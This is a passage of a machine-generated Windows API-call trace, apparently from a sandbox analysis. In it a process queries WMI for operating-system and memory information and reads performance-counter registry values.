wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfe88*=0, plFlavor=0x27dfe8c*=0 | out: pVal=0x1da9e520*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dfe88*=21, plFlavor=0x27dfe8c*=0) returned 0x0 [0261.856] SysStringByteLen (bstr="2096620") returned 0xe [0261.856] SysStringByteLen (bstr="2096620") returned 0xe [0261.856] IWbemClassObject:Get (in: This=0x1b268f60, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1da9e570*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27dfe88*=21, plFlavor=0x27dfe8c*=0 | out: pVal=0x1da9e570*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x27dfe88*=21, plFlavor=0x27dfe8c*=0) returned 0x0 [0261.856] SysStringByteLen (bstr="2096620") returned 0xe [0261.856] SysStringByteLen (bstr="2096620") returned 0xe [0261.856] CoGetContextToken (in: pToken=0x1da9e370 | out: pToken=0x1da9e370) returned 0x0 [0261.856] WbemLocator:IUnknown:Release (This=0x1b2021b8) returned 0x1 [0261.856] IUnknown:Release (This=0x1b287040) returned 0x0 [0263.934] GetTickCount64 () returned 0x1abeaa5 [0263.937] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0263.938] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27ab5b0, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27ab5b0*, lpcbData=0x1da9e418*=0x438) returned 0x0 [0263.946] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x0, lpcbData=0x1da9e420*=0x0 | out: lpType=0x1da9e428*=0x3, lpData=0x0, lpcbData=0x1da9e420*=0x0) returned 0xea [0263.947] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1da9e428, lpData=0x27bc9c8, lpcbData=0x1da9e418*=0xfde8 | out: lpType=0x1da9e428*=0x3, lpData=0x27bc9c8*, lpcbData=0x1da9e418*=0xea8) returned 0x0 [0263.953] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e6f8 | out: puCount=0x1da9e6f8*=0x2) returned 0x0 [0263.953] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e6f0*=0xf, pszText=0x0) returned 0x0 [0263.954] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e6f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e6f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.954] CoGetObjectContext (in: riid=0x2296a58*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9e678 | out: ppv=0x1da9e678*=0x77dd58) returned 0x0 [0263.955] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1da9e668 | out: pAptType=0x1da9e668*=1) returned 0x0 [0263.955] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2296a38*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1da9e670 | out: ppvObject=0x1da9e670*=0x0) returned 0x80004002 [0263.955] IUnknown:Release (This=0x77dd58) returned 0x1 [0263.957] CoGetClassObject (in: rclsid=0x1b1c9c68*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1da9dd38 | out: ppv=0x1da9dd38*=0x1d217ef0) returned 0x0 [0263.958] WbemLocator:IUnknown:QueryInterface (in: This=0x1d217ef0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9de20 | out: ppvObject=0x1da9de20*=0x0) returned 0x80004002 [0263.958] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d217ef0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9ddf8 | out: ppvObject=0x1da9ddf8*=0x1d218650) returned 0x0 [0263.958] WbemLocator:IUnknown:Release (This=0x1d217ef0) returned 0x0 [0263.958] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dba0 | out: ppvObject=0x1da9dba0*=0x1d218650) returned 0x0 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dc30 | out: ppvObject=0x1da9dc30*=0x0) returned 0x80004002 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d428 | out: ppvObject=0x1da9d428*=0x0) returned 0x80004002 [0263.959] WbemLocator:IUnknown:AddRef (This=0x1d218650) returned 0x3 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d2e8 | out: ppvObject=0x1da9d2e8*=0x0) returned 0x80004002 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d270 | out: ppvObject=0x1da9d270*=0x0) returned 0x80004002 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d260 | out: ppvObject=0x1da9d260*=0x0) returned 0x80004002 [0263.959] CoGetContextToken (in: pToken=0x1da9d310 | out: pToken=0x1da9d310) returned 0x0 [0263.959] CoGetContextToken (in: pToken=0x1da9d790 | out: pToken=0x1da9d790) returned 0x0 [0263.959] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d850 | out: ppvObject=0x1da9d850*=0x0) returned 0x80004002 [0263.960] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x2 [0263.960] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x1 [0263.960] CoGetContextToken (in: pToken=0x1da9e1d0 | out: pToken=0x1da9e1d0) returned 0x0 [0263.960] CoGetContextToken (in: pToken=0x1da9e0d0 | out: pToken=0x1da9e0d0) returned 0x0 [0263.960] WbemLocator:IUnknown:QueryInterface (in: This=0x1d218650, riid=0x1da9e230*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1da9e200 | out: ppvObject=0x1da9e200*=0x1d218650) returned 0x0 [0263.960] WbemLocator:IUnknown:AddRef (This=0x1d218650) returned 0x3 [0263.960] WbemLocator:IUnknown:Release (This=0x1d218650) returned 0x2 [0263.960] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e608 | out: puCount=0x1da9e608*=0x2) returned 0x0 [0263.960] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e600*=0xf, pszText=0x0) returned 0x0 [0263.960] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=8, puBuffLength=0x1da9e600*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e600*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.960] CoCreateInstance (in: rclsid=0x7ffb15d966a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb15d96708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1da9e350 | out: ppv=0x1da9e350*=0x1d2184d0) returned 0x0 [0263.961] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d2184d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1da9e4c8 | out: ppNamespace=0x1da9e4c8*=0x1b217840) returned 0x0 [0264.464] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217840, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e1c8 | out: ppvObject=0x1da9e1c8*=0x1b202310) returned 0x0 [0264.464] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b202310, pProxy=0x1b217840, pAuthnSvc=0x1da9e290, pAuthzSvc=0x1da9e210, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214, pImpLevel=0x1da9e220, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224 | out: pAuthnSvc=0x1da9e290*=0xa, pAuthzSvc=0x1da9e210*=0x0, pServerPrincName=0x1da9e238, pAuthnLevel=0x1da9e214*=0x6, pImpLevel=0x1da9e220*=0x2, pAuthInfo=0x1da9e248, pCapabilites=0x1da9e224*=0x1) returned 0x0 [0264.465] WbemLocator:IUnknown:Release (This=0x1b202310) returned 0x1 [0264.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217840, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e160 | out: ppvObject=0x1da9e160*=0x1b202358) returned 0x0 [0264.465] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217840, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e170 | out: ppvObject=0x1da9e170*=0x1b202310) returned 0x0 [0264.465] WbemLocator:IClientSecurity:SetBlanket (This=0x1b202310, pProxy=0x1b217840, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0264.465] WbemLocator:IUnknown:Release (This=0x1b202310) returned 0x2 [0264.465] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x1 [0264.465] CoTaskMemFree (pv=0x1d1e68d0) [0264.466] WbemLocator:IUnknown:Release (This=0x1d2184d0) returned 0x0 [0264.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217840, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dc60 | out: ppvObject=0x1da9dc60*=0x1b202358) returned 0x0 [0264.466] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dcf0 | out: ppvObject=0x1da9dcf0*=0x0) returned 0x80004002 [0264.596] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x0) returned 0x80004002 [0264.708] WbemLocator:IUnknown:QueryInterface (in: This=0x1b217840, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d4e8 | out: ppvObject=0x1da9d4e8*=0x0) returned 0x80004002 [0265.044] WbemLocator:IUnknown:AddRef (This=0x1b202358) returned 0x3 [0265.044] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d3a8 | out: ppvObject=0x1da9d3a8*=0x0) returned 0x80004002 [0265.044] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d330 | out: ppvObject=0x1da9d330*=0x0) returned 0x80004002 [0265.044] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d320 | out: ppvObject=0x1da9d320*=0x1b202238) returned 0x0 [0265.045] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b202238, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d348 | out: pCid=0x1da9d348*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.045] WbemLocator:IUnknown:Release (This=0x1b202238) returned 0x3 [0265.045] CoGetContextToken (in: pToken=0x1da9d3d0 | out: pToken=0x1da9d3d0) returned 0x0 [0265.045] CoGetContextToken (in: pToken=0x1da9d850 | out: pToken=0x1da9d850) returned 0x0 [0265.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d910 | out: ppvObject=0x1da9d910*=0x1b202320) returned 0x0 [0265.045] WbemLocator:IRpcOptions:Query (in: This=0x1b202320, pPrx=0x1b202358, dwProperty=2, pdwValue=0x1da9d900 | out: pdwValue=0x1da9d900) returned 0x80004002 [0265.045] WbemLocator:IUnknown:Release (This=0x1b202320) returned 0x3 [0265.045] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x2 [0265.045] CoGetContextToken (in: pToken=0x1da9df10 | out: pToken=0x1da9df10) returned 0x0 [0265.045] CoGetContextToken (in: pToken=0x1da9de10 | out: pToken=0x1da9de10) returned 0x0 [0265.045] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x1da9df70*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1da9df40 | out: ppvObject=0x1da9df40*=0x1b217840) returned 0x0 [0265.046] WbemLocator:IUnknown:AddRef (This=0x1b217840) returned 0x4 [0265.046] WbemLocator:IUnknown:Release (This=0x1b217840) returned 0x3 [0265.046] WbemLocator:IUnknown:Release (This=0x1b217840) returned 0x2 [0265.046] SysStringLen (param_1=0x0) returned 0x0 [0265.046] CoGetContextToken (in: pToken=0x1da9e040 | out: pToken=0x1da9e040) returned 0x0 [0265.046] WbemLocator:IUnknown:AddRef (This=0x1b202358) returned 0x3 [0265.046] WbemLocator:IUnknown:QueryInterface (in: This=0x1b202358, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e040 | out: ppvObject=0x1da9e040*=0x1b202358) returned 0x0 [0265.046] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x3 [0265.046] WbemLocator:IUnknown:Release (This=0x1b202358) returned 0x2 [0265.046] CoGetContextToken (in: pToken=0x1da9e170 | out: pToken=0x1da9e170) returned 0x0 [0265.046] WbemLocator:IUnknown:AddRef (This=0x1b217840) returned 0x3 [0265.046] IWbemServices:ExecQuery (in: This=0x1b217840, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1da9e618 | out: ppEnum=0x1da9e618*=0x1b287970) returned 0x0 [0265.322] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e2e8 | out: ppvObject=0x1da9e2e8*=0x1b287978) returned 0x0 [0265.322] IClientSecurity:QueryBlanket (in: This=0x1b287978, pProxy=0x1b287970, pAuthnSvc=0x1da9e3b0, pAuthzSvc=0x1da9e330, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334, pImpLevel=0x1da9e340, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344 | out: pAuthnSvc=0x1da9e3b0*=0xa, pAuthzSvc=0x1da9e330*=0x0, pServerPrincName=0x1da9e358, pAuthnLevel=0x1da9e334*=0x6, pImpLevel=0x1da9e340*=0x2, pAuthInfo=0x1da9e368, pCapabilites=0x1da9e344*=0x1) returned 0x0 [0265.322] IUnknown:Release (This=0x1b287978) returned 0x1 [0265.322] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e280 | out: ppvObject=0x1da9e280*=0x1b2036d8) returned 0x0 [0265.322] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e290 | out: ppvObject=0x1da9e290*=0x1b287978) returned 0x0 [0265.323] IClientSecurity:SetBlanket (This=0x1b287978, pProxy=0x1b287970, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0265.460] IUnknown:Release (This=0x1b287978) returned 0x2 [0265.460] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x1 [0265.460] CoTaskMemFree (pv=0x1d1e6990) [0265.460] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9dd50 | out: ppvObject=0x1da9dd50*=0x1b2036d8) returned 0x0 [0265.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1da9dde0 | out: ppvObject=0x1da9dde0*=0x0) returned 0x80004002 [0265.461] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x0) returned 0x80004002 [0265.462] IUnknown:QueryInterface (in: This=0x1b287970, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1da9d5d8 | out: ppvObject=0x1da9d5d8*=0x0) returned 0x80004002 [0265.462] WbemLocator:IUnknown:AddRef (This=0x1b2036d8) returned 0x3 [0265.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1da9d498 | out: ppvObject=0x1da9d498*=0x0) returned 0x80004002 [0265.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1da9d420 | out: ppvObject=0x1da9d420*=0x0) returned 0x80004002 [0265.462] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9d410 | out: ppvObject=0x1da9d410*=0x1b2035b8) returned 0x0 [0265.463] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2035b8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1da9d438 | out: pCid=0x1da9d438*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.463] WbemLocator:IUnknown:Release (This=0x1b2035b8) returned 0x3 [0265.463] CoGetContextToken (in: pToken=0x1da9d4c0 | out: pToken=0x1da9d4c0) returned 0x0 [0265.463] CoGetContextToken (in: pToken=0x1da9d940 | out: pToken=0x1da9d940) returned 0x0 [0265.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9da00 | out: ppvObject=0x1da9da00*=0x1b2036a0) returned 0x0 [0265.463] WbemLocator:IRpcOptions:Query (in: This=0x1b2036a0, pPrx=0x1b2036d8, dwProperty=2, pdwValue=0x1da9d9f0 | out: pdwValue=0x1da9d9f0) returned 0x80004002 [0265.463] WbemLocator:IUnknown:Release (This=0x1b2036a0) returned 0x3 [0265.463] WbemLocator:IUnknown:Release (This=0x1b2036d8) returned 0x2 [0265.463] CoGetContextToken (in: pToken=0x1da9e000 | out: pToken=0x1da9e000) returned 0x0 [0265.463] CoGetContextToken (in: pToken=0x1da9df00 | out: pToken=0x1da9df00) returned 0x0 [0265.463] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2036d8, riid=0x1da9e060*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1da9e030 | out: ppvObject=0x1da9e030*=0x1b287970) returned 0x0 [0265.464] IUnknown:AddRef (This=0x1b287970) returned 0x4 [0265.464] IUnknown:Release (This=0x1b287970) returned 0x3 [0265.464] IUnknown:Release (This=0x1b287970) returned 0x2 [0265.464] WbemLocator:IUnknown:Release (This=0x1b217840) returned 0x2 [0265.464] SysStringLen (param_1=0x0) returned 0x0 [0265.464] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b2949a0, puCount=0x1da9e658 | out: puCount=0x1da9e658*=0x2) returned 0x0 [0265.464] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0x0, pszText=0x0 | out: puBuffLength=0x1da9e650*=0xf, pszText=0x0) returned 0x0 [0265.465] WbemDefPath:IWbemPath:GetText (in: This=0x1b2949a0, lFlags=4, puBuffLength=0x1da9e650*=0xf, pszText="00000000000000" | out: puBuffLength=0x1da9e650*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.465] CoGetContextToken (in: pToken=0x1da9e190 | out: pToken=0x1da9e190) returned 0x0 [0265.465] IUnknown:AddRef (This=0x1b287970) returned 0x3 [0265.465] IEnumWbemClassObject:Clone (in: This=0x1b287970, ppEnum=0x1da9e590 | out: ppEnum=0x1da9e590*=0x1b287190) returned 0x0 [0265.466] IUnknown:QueryInterface (in: This=0x1b287190, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1da9e318 | out: ppvObject=0x1da9e318*=0x1b287198) returned 0x0 [0265.467] IClientSecurity:QueryBlanket (in: This=0x1b287198, pProxy=0x1b287190, pAuthnSvc=0x1da9e3e0, pAuthzSvc=0x1da9e360, pServerPrincName=0x1da9e388, pAuthnLevel=0x1da9e364, pImpLevel=0x1da9e370, pAuthInfo=0x1da9e398, pCapabilites=0x1da9e374 | out: pAuthnSvc=0x1da9e3e0*=0xa, 